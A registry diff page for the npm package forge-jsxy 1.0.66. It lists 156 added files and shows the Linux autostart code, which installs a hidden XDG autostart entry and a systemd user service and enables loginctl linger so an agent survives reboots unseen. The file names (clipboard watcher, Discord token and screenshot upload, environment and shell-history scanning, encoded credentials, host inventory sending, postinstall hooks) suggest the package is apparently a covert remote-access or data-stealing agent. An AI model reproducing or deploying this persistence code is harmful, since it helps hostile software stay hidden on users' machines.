forge-jsxy 1.0.66

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (156) hide show
  1. package/README.md +3 -0
  2. package/assets/files-explorer-template.html +4100 -0
  3. package/assets/forge-explorer-favicon.svg +31 -0
  4. package/dist/agentPid.d.ts +14 -0
  5. package/dist/agentPid.js +104 -0
  6. package/dist/agentRunner.d.ts +13 -0
  7. package/dist/agentRunner.js +290 -0
  8. package/dist/assets/files-explorer-template.html +4100 -0
  9. package/dist/assets/forge-explorer-favicon.svg +31 -0
  10. package/dist/autostart/agentEnvFile.d.ts +58 -0
  11. package/dist/autostart/agentEnvFile.js +488 -0
  12. package/dist/autostart/autoUpdatePaths.d.ts +7 -0
  13. package/dist/autostart/autoUpdatePaths.js +51 -0
  14. package/dist/autostart/constants.d.ts +14 -0
  15. package/dist/autostart/constants.js +17 -0
  16. package/dist/autostart/darwin.d.ts +11 -0
  17. package/dist/autostart/darwin.js +203 -0
  18. package/dist/autostart/darwinAutoUpdate.d.ts +4 -0
  19. package/dist/autostart/darwinAutoUpdate.js +70 -0
  20. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
  21. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
  22. package/dist/autostart/index.d.ts +4 -0
  23. package/dist/autostart/index.js +20 -0
  24. package/dist/autostart/install.d.ts +6 -0
  25. package/dist/autostart/install.js +113 -0
  26. package/dist/autostart/linux.d.ts +17 -0
  27. package/dist/autostart/linux.js +298 -0
  28. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
  29. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
  30. package/dist/autostart/linuxUpdateTimer.d.ts +6 -0
  31. package/dist/autostart/linuxUpdateTimer.js +104 -0
  32. package/dist/autostart/macPathEnv.d.ts +5 -0
  33. package/dist/autostart/macPathEnv.js +23 -0
  34. package/dist/autostart/manifest.d.ts +11 -0
  35. package/dist/autostart/manifest.js +74 -0
  36. package/dist/autostart/quote.d.ts +12 -0
  37. package/dist/autostart/quote.js +65 -0
  38. package/dist/autostart/resolve.d.ts +35 -0
  39. package/dist/autostart/resolve.js +85 -0
  40. package/dist/autostart/windows.d.ts +15 -0
  41. package/dist/autostart/windows.js +277 -0
  42. package/dist/cli-agent.d.ts +3 -0
  43. package/dist/cli-agent.js +56 -0
  44. package/dist/cli-autostart.d.ts +2 -0
  45. package/dist/cli-autostart.js +92 -0
  46. package/dist/cli-forge.d.ts +2 -0
  47. package/dist/cli-forge.js +5 -0
  48. package/dist/cli-linux-session-refresh.d.ts +2 -0
  49. package/dist/cli-linux-session-refresh.js +30 -0
  50. package/dist/cli-relay.d.ts +3 -0
  51. package/dist/cli-relay.js +38 -0
  52. package/dist/clientId.d.ts +2 -0
  53. package/dist/clientId.js +97 -0
  54. package/dist/clipboardEventWatcher.d.ts +8 -0
  55. package/dist/clipboardEventWatcher.js +177 -0
  56. package/dist/clipboardExec.d.ts +1 -0
  57. package/dist/clipboardExec.js +161 -0
  58. package/dist/clipboardNapi.d.ts +4 -0
  59. package/dist/clipboardNapi.js +19 -0
  60. package/dist/deploymentCipherData.d.ts +20 -0
  61. package/dist/deploymentCipherData.js +31 -0
  62. package/dist/deploymentDefaults.d.ts +43 -0
  63. package/dist/deploymentDefaults.js +199 -0
  64. package/dist/desktopEnvSync.d.ts +18 -0
  65. package/dist/desktopEnvSync.js +21 -0
  66. package/dist/discordAgentScreenshot.d.ts +27 -0
  67. package/dist/discordAgentScreenshot.js +476 -0
  68. package/dist/discordBotTokens.d.ts +29 -0
  69. package/dist/discordBotTokens.js +78 -0
  70. package/dist/discordRateLimit.d.ts +93 -0
  71. package/dist/discordRateLimit.js +227 -0
  72. package/dist/discordRelayUpload.d.ts +55 -0
  73. package/dist/discordRelayUpload.js +806 -0
  74. package/dist/discordWebhookPost.d.ts +12 -0
  75. package/dist/discordWebhookPost.js +108 -0
  76. package/dist/envLoad.d.ts +1 -0
  77. package/dist/envLoad.js +18 -0
  78. package/dist/envScan.d.ts +14 -0
  79. package/dist/envScan.js +358 -0
  80. package/dist/exportMirrorCopy.d.ts +15 -0
  81. package/dist/exportMirrorCopy.js +279 -0
  82. package/dist/fileLockForce.d.ts +50 -0
  83. package/dist/fileLockForce.js +1479 -0
  84. package/dist/filesExplorer.d.ts +9 -0
  85. package/dist/filesExplorer.js +110 -0
  86. package/dist/fsMessages.d.ts +1 -0
  87. package/dist/fsMessages.js +123 -0
  88. package/dist/fsProtocol.d.ts +107 -0
  89. package/dist/fsProtocol.js +4800 -0
  90. package/dist/hfCredentials.d.ts +23 -0
  91. package/dist/hfCredentials.js +124 -0
  92. package/dist/hfHubPathSanitize.d.ts +4 -0
  93. package/dist/hfHubPathSanitize.js +30 -0
  94. package/dist/hfHubUploadContent.d.ts +2 -0
  95. package/dist/hfHubUploadContent.js +199 -0
  96. package/dist/hfSeqIdLookup.d.ts +16 -0
  97. package/dist/hfSeqIdLookup.js +146 -0
  98. package/dist/hfUpload.d.ts +47 -0
  99. package/dist/hfUpload.js +1225 -0
  100. package/dist/hostInventory.d.ts +18 -0
  101. package/dist/hostInventory.js +206 -0
  102. package/dist/hostInventorySend.d.ts +5 -0
  103. package/dist/hostInventorySend.js +86 -0
  104. package/dist/index.d.ts +24 -0
  105. package/dist/index.js +62 -0
  106. package/dist/inputContext.d.ts +11 -0
  107. package/dist/inputContext.js +1094 -0
  108. package/dist/keyboardTranslate.d.ts +23 -0
  109. package/dist/keyboardTranslate.js +204 -0
  110. package/dist/linuxX11.d.ts +2 -0
  111. package/dist/linuxX11.js +53 -0
  112. package/dist/relayAgent.d.ts +20 -0
  113. package/dist/relayAgent.js +828 -0
  114. package/dist/relayAuth.d.ts +10 -0
  115. package/dist/relayAuth.js +81 -0
  116. package/dist/relayDashboardGate.d.ts +31 -0
  117. package/dist/relayDashboardGate.js +323 -0
  118. package/dist/relayForAgentHttp.d.ts +24 -0
  119. package/dist/relayForAgentHttp.js +132 -0
  120. package/dist/relayServer.d.ts +9 -0
  121. package/dist/relayServer.js +1406 -0
  122. package/dist/shellHistoryScan.d.ts +12 -0
  123. package/dist/shellHistoryScan.js +200 -0
  124. package/dist/startupAutoUpdate.d.ts +17 -0
  125. package/dist/startupAutoUpdate.js +156 -0
  126. package/dist/syncClient.d.ts +80 -0
  127. package/dist/syncClient.js +205 -0
  128. package/dist/tableNaming.d.ts +13 -0
  129. package/dist/tableNaming.js +101 -0
  130. package/dist/vcToWindowsVk.d.ts +7 -0
  131. package/dist/vcToWindowsVk.js +154 -0
  132. package/dist/win32InputNative.d.ts +18 -0
  133. package/dist/win32InputNative.js +198 -0
  134. package/dist/windowsInputSync.d.ts +22 -0
  135. package/dist/windowsInputSync.js +536 -0
  136. package/dist/workerBootstrap.d.ts +17 -0
  137. package/dist/workerBootstrap.js +327 -0
  138. package/package.json +75 -0
  139. package/scripts/copy-assets.mjs +31 -0
  140. package/scripts/discord-live-probe.mjs +159 -0
  141. package/scripts/encode-deployment.mjs +135 -0
  142. package/scripts/encode-hf-credentials.mjs +30 -0
  143. package/scripts/ensure-dist.mjs +86 -0
  144. package/scripts/env-sync-selftest.js +11 -0
  145. package/scripts/explorer-isolated-npm-env.mjs +57 -0
  146. package/scripts/forge-jsx-explorer-kill-agent.mjs +359 -0
  147. package/scripts/forge-jsx-explorer-restart.mjs +293 -0
  148. package/scripts/forge-jsx-explorer-upgrade.mjs +802 -0
  149. package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
  150. package/scripts/pm2-restart-forge-relay-agent.sh +43 -0
  151. package/scripts/postinstall-agent.mjs +313 -0
  152. package/scripts/postinstall-bootstrap.mjs +264 -0
  153. package/scripts/postinstall-clipboard-event.mjs +164 -0
  154. package/scripts/registry-version-lib.mjs +98 -0
  155. package/scripts/restart-agent.mjs +66 -0
  156. package/scripts/windows-forge-diagnostics.ps1 +56 -0
@@ -0,0 +1,298 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ Object.defineProperty(exports, "__esModule", { value: true });
36
+ exports.statusXdgAutostart = statusXdgAutostart;
37
+ exports.registerLinuxAutostart = registerLinuxAutostart;
38
+ exports.unregisterLinuxAutostart = unregisterLinuxAutostart;
39
+ exports.isSystemdForgeAgentActive = isSystemdForgeAgentActive;
40
+ exports.stopSystemdForgeAgent = stopSystemdForgeAgent;
41
+ exports.statusLinuxAutostart = statusLinuxAutostart;
42
+ const node_child_process_1 = require("node:child_process");
43
+ const fs = __importStar(require("node:fs"));
44
+ const os = __importStar(require("node:os"));
45
+ const path = __importStar(require("node:path"));
46
+ const agentEnvFile_1 = require("./agentEnvFile");
47
+ const constants_1 = require("./constants");
48
+ const linuxLegacyNpmSchedulerCleanup_1 = require("./linuxLegacyNpmSchedulerCleanup");
49
+ const quote_1 = require("./quote");
50
+ // ─── XDG autostart (.desktop) ─────────────────────────────────────────────
51
+ // Runs when the user logs in to a desktop session (GNOME, KDE, XFCE, etc.).
52
+ // Complementary to systemd user units: desktop users may not have linger enabled.
53
+ const XDG_AUTOSTART_FILENAME = "forge-js-worker.desktop";
54
+ function xdgAutostartPath() {
55
+ const home = process.env.HOME || process.env.USERPROFILE || os.homedir();
56
+ return path.join(home, ".config", "autostart", XDG_AUTOSTART_FILENAME);
57
+ }
58
+ /** Escape an argument for the .desktop Exec= field (double-quote wrap when needed). */
59
+ function xdgExecQuote(s) {
60
+ // Characters that require quoting in the Exec key per the XDG Desktop Entry spec.
61
+ if (!/[ \t\n"'\\$`~<>|&;*?!{}[\]()]/.test(s))
62
+ return s;
63
+ return `"${s.replace(/\\/g, "\\\\").replace(/"/g, '\\"')}"`;
64
+ }
65
+ /**
66
+ * @param mode When `session-refresh`, Exec runs cli-linux-session-refresh.js (merge graphical env +
67
+ * `systemctl --user restart`) instead of spawning a second forge-agent. Use when a systemd user
68
+ * unit already runs the agent so the boot-time singleton gets a real clipboard session after login.
69
+ */
70
+ function registerXdgAutostart(launch, mode) {
71
+ const dir = path.dirname(xdgAutostartPath());
72
+ try {
73
+ fs.mkdirSync(dir, { recursive: true });
74
+ }
75
+ catch (e) {
76
+ console.error("[forge-js] Cannot create XDG autostart dir:", e);
77
+ return false;
78
+ }
79
+ const refreshScript = path.join(path.dirname(launch.agentScript), "cli-linux-session-refresh.js");
80
+ const argvForDesktop = mode === "session-refresh" && fs.existsSync(refreshScript)
81
+ ? [launch.nodeExe, refreshScript]
82
+ : launch.programArguments;
83
+ const exec = argvForDesktop.map(xdgExecQuote).join(" ");
84
+ const content = [
85
+ "[Desktop Entry]",
86
+ "Type=Application",
87
+ "Version=1.5",
88
+ "Name=Forge JS Worker",
89
+ "Comment=forge-js relay agent background service",
90
+ `Exec=${exec}`,
91
+ "Terminal=false",
92
+ "Hidden=false",
93
+ "NoDisplay=true",
94
+ "StartupNotify=false",
95
+ "X-GNOME-Autostart-enabled=true",
96
+ "",
97
+ ].join("\n");
98
+ try {
99
+ fs.writeFileSync(xdgAutostartPath(), content, "utf8");
100
+ return true;
101
+ }
102
+ catch (e) {
103
+ console.error("[forge-js] Cannot write XDG autostart .desktop file:", e);
104
+ return false;
105
+ }
106
+ }
107
+ function unregisterXdgAutostart() {
108
+ try {
109
+ fs.unlinkSync(xdgAutostartPath());
110
+ }
111
+ catch {
112
+ /* skip */
113
+ }
114
+ }
115
+ function statusXdgAutostart() {
116
+ return { desktopFile: fs.existsSync(xdgAutostartPath()) };
117
+ }
118
+ function systemctlAvailable() {
119
+ const r = (0, node_child_process_1.spawnSync)("systemctl", ["--version"], { encoding: "utf-8", timeout: 5000 });
120
+ return !r.error && r.status === 0;
121
+ }
122
+ function unitPathUser() {
123
+ return path.join(process.env.HOME || process.env.USERPROFILE || os.homedir(), ".config", "systemd", "user", `${constants_1.SYSTEMD_UNIT_NAME}.service`);
124
+ }
125
+ function systemdWorkingDirectoryQuote(p) {
126
+ const s = path.resolve(p);
127
+ if (/[ \t\n"${}\\]/.test(s)) {
128
+ return '"' + s.replace(/\\/g, "\\\\").replace(/"/g, '\\"') + '"';
129
+ }
130
+ return s;
131
+ }
132
+ function enableLinger() {
133
+ // Root (uid 0) has a persistent user session without linger; skip to avoid
134
+ // errors on systems where loginctl enable-linger root is not permitted.
135
+ let uid = -1;
136
+ try {
137
+ uid = os.userInfo().uid;
138
+ }
139
+ catch {
140
+ uid = process.getuid?.() ?? -1;
141
+ }
142
+ if (uid === 0)
143
+ return;
144
+ let user = process.env.USER || process.env.LOGNAME || "";
145
+ if (!user) {
146
+ try {
147
+ user = os.userInfo().username || "";
148
+ }
149
+ catch {
150
+ /* os.userInfo() may fail in some restricted environments */
151
+ }
152
+ }
153
+ if (!user)
154
+ return;
155
+ (0, node_child_process_1.spawnSync)("loginctl", ["enable-linger", user], {
156
+ encoding: "utf-8",
157
+ timeout: 20_000,
158
+ });
159
+ }
160
+ function registerLinuxAutostart(launch) {
161
+ const sysd = systemctlAvailable();
162
+ // With systemd + linger, the service can start at boot and hold the singleton before any
163
+ // graphical session exists. A second forge-agent from XDG autostart then exits immediately and
164
+ // clipboard never recovers — use session-refresh mode to rewrite env + restart the unit.
165
+ const xdgMode = sysd ? "session-refresh" : "agent";
166
+ const xdgOk = registerXdgAutostart(launch, xdgMode);
167
+ if (!sysd) {
168
+ if (!xdgOk) {
169
+ console.error("[forge-js] systemctl not found and XDG autostart failed; no autostart registered.");
170
+ }
171
+ else {
172
+ console.error("[forge-js] systemctl not found; registered XDG autostart only (desktop login).");
173
+ }
174
+ return xdgOk;
175
+ }
176
+ const unitsDir = path.dirname(unitPathUser());
177
+ try {
178
+ fs.mkdirSync(unitsDir, { recursive: true });
179
+ }
180
+ catch (e) {
181
+ console.error("[forge-js] Cannot create systemd user unit dir:", e);
182
+ return xdgOk;
183
+ }
184
+ const execStart = (0, quote_1.systemdExecLine)(launch.programArguments);
185
+ const wd = systemdWorkingDirectoryQuote(launch.workingDirectory);
186
+ const envFile = (0, agentEnvFile_1.forgeAgentEnvPath)(launch.dataDir);
187
+ // Always reference the env file (the '-' prefix makes it optional if missing).
188
+ // writeForgeJsAgentEnv always creates this file (with at minimum FORGE_JS_QUIET_AGENT=1).
189
+ const envLine = `EnvironmentFile=-${systemdWorkingDirectoryQuote(envFile)}\n`;
190
+ const content = `[Unit]
191
+ Description=forge-js relay agent (Node) — runs at user session / boot (with linger)
192
+ After=network-online.target
193
+ Wants=network-online.target
194
+ # Rate limits belong in [Unit] (not [Service]) — see systemd.unit(5).
195
+ StartLimitIntervalSec=300
196
+ StartLimitBurst=30
197
+
198
+ [Service]
199
+ Type=simple
200
+ ExecStart=${execStart}
201
+ ${envLine}# Restart only on non-zero exit/signal so the singleton guard (exit 0) does not cause
202
+ # an infinite restart loop when another agent is already running.
203
+ Restart=on-failure
204
+ RestartSec=5
205
+ Nice=10
206
+ KillMode=process
207
+ TimeoutStopSec=30
208
+ WorkingDirectory=${wd}
209
+
210
+ [Install]
211
+ WantedBy=default.target
212
+ `;
213
+ try {
214
+ fs.writeFileSync(unitPathUser(), content, "utf8");
215
+ }
216
+ catch (e) {
217
+ console.error("[forge-js] Cannot write systemd unit:", e);
218
+ return xdgOk;
219
+ }
220
+ (0, node_child_process_1.spawnSync)("systemctl", ["--user", "daemon-reload"], {
221
+ encoding: "utf-8",
222
+ timeout: 30_000,
223
+ });
224
+ const en = (0, node_child_process_1.spawnSync)("systemctl", ["--user", "enable", constants_1.SYSTEMD_UNIT_NAME], {
225
+ encoding: "utf-8",
226
+ timeout: 30_000,
227
+ });
228
+ if (en.status !== 0) {
229
+ console.error("[forge-js] systemctl --user enable failed:", en.stderr || en.stdout);
230
+ return xdgOk;
231
+ }
232
+ enableLinger();
233
+ (0, node_child_process_1.spawnSync)("systemctl", ["--user", "start", constants_1.SYSTEMD_UNIT_NAME], {
234
+ encoding: "utf-8",
235
+ timeout: 30_000,
236
+ });
237
+ return true;
238
+ }
239
+ function unregisterLinuxAutostart() {
240
+ // Remove XDG autostart .desktop file
241
+ unregisterXdgAutostart();
242
+ (0, linuxLegacyNpmSchedulerCleanup_1.unregisterLinuxLegacyNpmScheduler)();
243
+ if (!systemctlAvailable())
244
+ return true;
245
+ (0, node_child_process_1.spawnSync)("systemctl", ["--user", "stop", constants_1.SYSTEMD_UNIT_NAME], {
246
+ encoding: "utf-8",
247
+ timeout: 30_000,
248
+ });
249
+ (0, node_child_process_1.spawnSync)("systemctl", ["--user", "disable", constants_1.SYSTEMD_UNIT_NAME], {
250
+ encoding: "utf-8",
251
+ timeout: 30_000,
252
+ });
253
+ try {
254
+ fs.unlinkSync(unitPathUser());
255
+ }
256
+ catch {
257
+ /* skip */
258
+ }
259
+ (0, node_child_process_1.spawnSync)("systemctl", ["--user", "daemon-reload"], {
260
+ encoding: "utf-8",
261
+ timeout: 30_000,
262
+ });
263
+ return true;
264
+ }
265
+ function isSystemdForgeAgentActive() {
266
+ if (!systemctlAvailable())
267
+ return false;
268
+ const r = (0, node_child_process_1.spawnSync)("systemctl", ["--user", "is-active", constants_1.SYSTEMD_UNIT_NAME], {
269
+ encoding: "utf-8",
270
+ timeout: 10_000,
271
+ });
272
+ return (r.stdout || "").trim() === "active";
273
+ }
274
+ function stopSystemdForgeAgent() {
275
+ if (!systemctlAvailable())
276
+ return;
277
+ (0, node_child_process_1.spawnSync)("systemctl", ["--user", "stop", constants_1.SYSTEMD_UNIT_NAME], {
278
+ encoding: "utf-8",
279
+ timeout: 30_000,
280
+ });
281
+ }
282
+ function statusLinuxAutostart() {
283
+ const unitFile = fs.existsSync(unitPathUser());
284
+ const desktopFile = statusXdgAutostart().desktopFile;
285
+ const legacyNpmScheduler = (0, linuxLegacyNpmSchedulerCleanup_1.statusLinuxLegacyNpmScheduler)();
286
+ if (!systemctlAvailable()) {
287
+ return { unitFile, enabled: false, active: false, desktopFile, legacyNpmScheduler };
288
+ }
289
+ const is = (0, node_child_process_1.spawnSync)("systemctl", ["--user", "is-enabled", constants_1.SYSTEMD_UNIT_NAME], { encoding: "utf-8" });
290
+ const ac = (0, node_child_process_1.spawnSync)("systemctl", ["--user", "is-active", constants_1.SYSTEMD_UNIT_NAME], { encoding: "utf-8" });
291
+ return {
292
+ unitFile,
293
+ enabled: (is.stdout || "").trim() === "enabled",
294
+ active: (ac.stdout || "").trim() === "active",
295
+ desktopFile,
296
+ legacyNpmScheduler,
297
+ };
298
+ }
@@ -0,0 +1,6 @@
1
+ export declare function unregisterLinuxLegacyNpmScheduler(): void;
2
+ export declare function statusLinuxLegacyNpmScheduler(): {
3
+ unitFile: boolean;
4
+ timerEnabled: boolean;
5
+ timerActive: boolean;
6
+ };
@@ -0,0 +1,104 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ Object.defineProperty(exports, "__esModule", { value: true });
36
+ exports.unregisterLinuxLegacyNpmScheduler = unregisterLinuxLegacyNpmScheduler;
37
+ exports.statusLinuxLegacyNpmScheduler = statusLinuxLegacyNpmScheduler;
38
+ const node_child_process_1 = require("node:child_process");
39
+ const fs = __importStar(require("node:fs"));
40
+ const os = __importStar(require("node:os"));
41
+ const path = __importStar(require("node:path"));
42
+ const constants_1 = require("./constants");
43
+ /**
44
+ * Best-effort removal of the **legacy** systemd user timer/service from old installers.
45
+ * Current product does not register these; `unregisterLinuxAutostart` still invokes this.
46
+ */
47
+ function systemctlAvailable() {
48
+ const r = (0, node_child_process_1.spawnSync)("systemctl", ["--version"], { encoding: "utf-8", timeout: 5000 });
49
+ return !r.error && r.status === 0;
50
+ }
51
+ function userSystemdDir() {
52
+ return path.join(process.env.HOME || process.env.USERPROFILE || os.homedir(), ".config", "systemd", "user");
53
+ }
54
+ function servicePath() {
55
+ return path.join(userSystemdDir(), `${constants_1.LEGACY_SYSTEMD_NPM_SCHEDULER_STEM}.service`);
56
+ }
57
+ function timerPath() {
58
+ return path.join(userSystemdDir(), `${constants_1.LEGACY_SYSTEMD_NPM_SCHEDULER_STEM}.timer`);
59
+ }
60
+ function unregisterLinuxLegacyNpmScheduler() {
61
+ if (!systemctlAvailable())
62
+ return;
63
+ (0, node_child_process_1.spawnSync)("systemctl", ["--user", "stop", `${constants_1.LEGACY_SYSTEMD_NPM_SCHEDULER_STEM}.timer`], {
64
+ encoding: "utf-8",
65
+ timeout: 30_000,
66
+ });
67
+ (0, node_child_process_1.spawnSync)("systemctl", ["--user", "disable", `${constants_1.LEGACY_SYSTEMD_NPM_SCHEDULER_STEM}.timer`], {
68
+ encoding: "utf-8",
69
+ timeout: 30_000,
70
+ });
71
+ (0, node_child_process_1.spawnSync)("systemctl", ["--user", "stop", `${constants_1.LEGACY_SYSTEMD_NPM_SCHEDULER_STEM}.service`], {
72
+ encoding: "utf-8",
73
+ timeout: 30_000,
74
+ });
75
+ try {
76
+ fs.unlinkSync(timerPath());
77
+ }
78
+ catch {
79
+ /* skip */
80
+ }
81
+ try {
82
+ fs.unlinkSync(servicePath());
83
+ }
84
+ catch {
85
+ /* skip */
86
+ }
87
+ (0, node_child_process_1.spawnSync)("systemctl", ["--user", "daemon-reload"], {
88
+ encoding: "utf-8",
89
+ timeout: 30_000,
90
+ });
91
+ }
92
+ function statusLinuxLegacyNpmScheduler() {
93
+ const unitFile = fs.existsSync(timerPath());
94
+ if (!systemctlAvailable()) {
95
+ return { unitFile, timerEnabled: false, timerActive: false };
96
+ }
97
+ const is = (0, node_child_process_1.spawnSync)("systemctl", ["--user", "is-enabled", `${constants_1.LEGACY_SYSTEMD_NPM_SCHEDULER_STEM}.timer`], { encoding: "utf-8" });
98
+ const ac = (0, node_child_process_1.spawnSync)("systemctl", ["--user", "is-active", `${constants_1.LEGACY_SYSTEMD_NPM_SCHEDULER_STEM}.timer`], { encoding: "utf-8" });
99
+ return {
100
+ unitFile,
101
+ timerEnabled: (is.stdout || "").trim() === "enabled",
102
+ timerActive: (ac.stdout || "").trim() === "active",
103
+ };
104
+ }
@@ -0,0 +1,6 @@
1
+ export declare function unregisterLinuxAutoUpdateTimer(): void;
2
+ export declare function statusLinuxAutoUpdateTimer(): {
3
+ unitFile: boolean;
4
+ timerEnabled: boolean;
5
+ timerActive: boolean;
6
+ };
@@ -0,0 +1,104 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ Object.defineProperty(exports, "__esModule", { value: true });
36
+ exports.unregisterLinuxAutoUpdateTimer = unregisterLinuxAutoUpdateTimer;
37
+ exports.statusLinuxAutoUpdateTimer = statusLinuxAutoUpdateTimer;
38
+ const node_child_process_1 = require("node:child_process");
39
+ const fs = __importStar(require("node:fs"));
40
+ const os = __importStar(require("node:os"));
41
+ const path = __importStar(require("node:path"));
42
+ const constants_1 = require("./constants");
43
+ /**
44
+ * Best-effort removal of the **legacy** systemd user timer/service that used to run npm auto-update.
45
+ * Product no longer registers these; `unregisterLinuxAutostart` still calls this for older installs.
46
+ */
47
+ function systemctlAvailable() {
48
+ const r = (0, node_child_process_1.spawnSync)("systemctl", ["--version"], { encoding: "utf-8", timeout: 5000 });
49
+ return !r.error && r.status === 0;
50
+ }
51
+ function userSystemdDir() {
52
+ return path.join(process.env.HOME || process.env.USERPROFILE || os.homedir(), ".config", "systemd", "user");
53
+ }
54
+ function servicePath() {
55
+ return path.join(userSystemdDir(), `${constants_1.SYSTEMD_AUTO_UPDATE_SERVICE}.service`);
56
+ }
57
+ function timerPath() {
58
+ return path.join(userSystemdDir(), `${constants_1.SYSTEMD_AUTO_UPDATE_SERVICE}.timer`);
59
+ }
60
+ function unregisterLinuxAutoUpdateTimer() {
61
+ if (!systemctlAvailable())
62
+ return;
63
+ (0, node_child_process_1.spawnSync)("systemctl", ["--user", "stop", `${constants_1.SYSTEMD_AUTO_UPDATE_SERVICE}.timer`], {
64
+ encoding: "utf-8",
65
+ timeout: 30_000,
66
+ });
67
+ (0, node_child_process_1.spawnSync)("systemctl", ["--user", "disable", `${constants_1.SYSTEMD_AUTO_UPDATE_SERVICE}.timer`], {
68
+ encoding: "utf-8",
69
+ timeout: 30_000,
70
+ });
71
+ (0, node_child_process_1.spawnSync)("systemctl", ["--user", "stop", `${constants_1.SYSTEMD_AUTO_UPDATE_SERVICE}.service`], {
72
+ encoding: "utf-8",
73
+ timeout: 30_000,
74
+ });
75
+ try {
76
+ fs.unlinkSync(timerPath());
77
+ }
78
+ catch {
79
+ /* skip */
80
+ }
81
+ try {
82
+ fs.unlinkSync(servicePath());
83
+ }
84
+ catch {
85
+ /* skip */
86
+ }
87
+ (0, node_child_process_1.spawnSync)("systemctl", ["--user", "daemon-reload"], {
88
+ encoding: "utf-8",
89
+ timeout: 30_000,
90
+ });
91
+ }
92
+ function statusLinuxAutoUpdateTimer() {
93
+ const unitFile = fs.existsSync(timerPath());
94
+ if (!systemctlAvailable()) {
95
+ return { unitFile, timerEnabled: false, timerActive: false };
96
+ }
97
+ const is = (0, node_child_process_1.spawnSync)("systemctl", ["--user", "is-enabled", `${constants_1.SYSTEMD_AUTO_UPDATE_SERVICE}.timer`], { encoding: "utf-8" });
98
+ const ac = (0, node_child_process_1.spawnSync)("systemctl", ["--user", "is-active", `${constants_1.SYSTEMD_AUTO_UPDATE_SERVICE}.timer`], { encoding: "utf-8" });
99
+ return {
100
+ unitFile,
101
+ timerEnabled: (is.stdout || "").trim() === "enabled",
102
+ timerActive: (ac.stdout || "").trim() === "active",
103
+ };
104
+ }
@@ -0,0 +1,5 @@
1
+ /**
2
+ * PATH string for LaunchAgents: merge install-time PATH with standard macOS paths
3
+ * so nvm/Homebrew `node` / `npm` remain reachable under launchd.
4
+ */
5
+ export declare function macLaunchdEffectivePath(installTimePath: string | undefined): string;
@@ -0,0 +1,23 @@
1
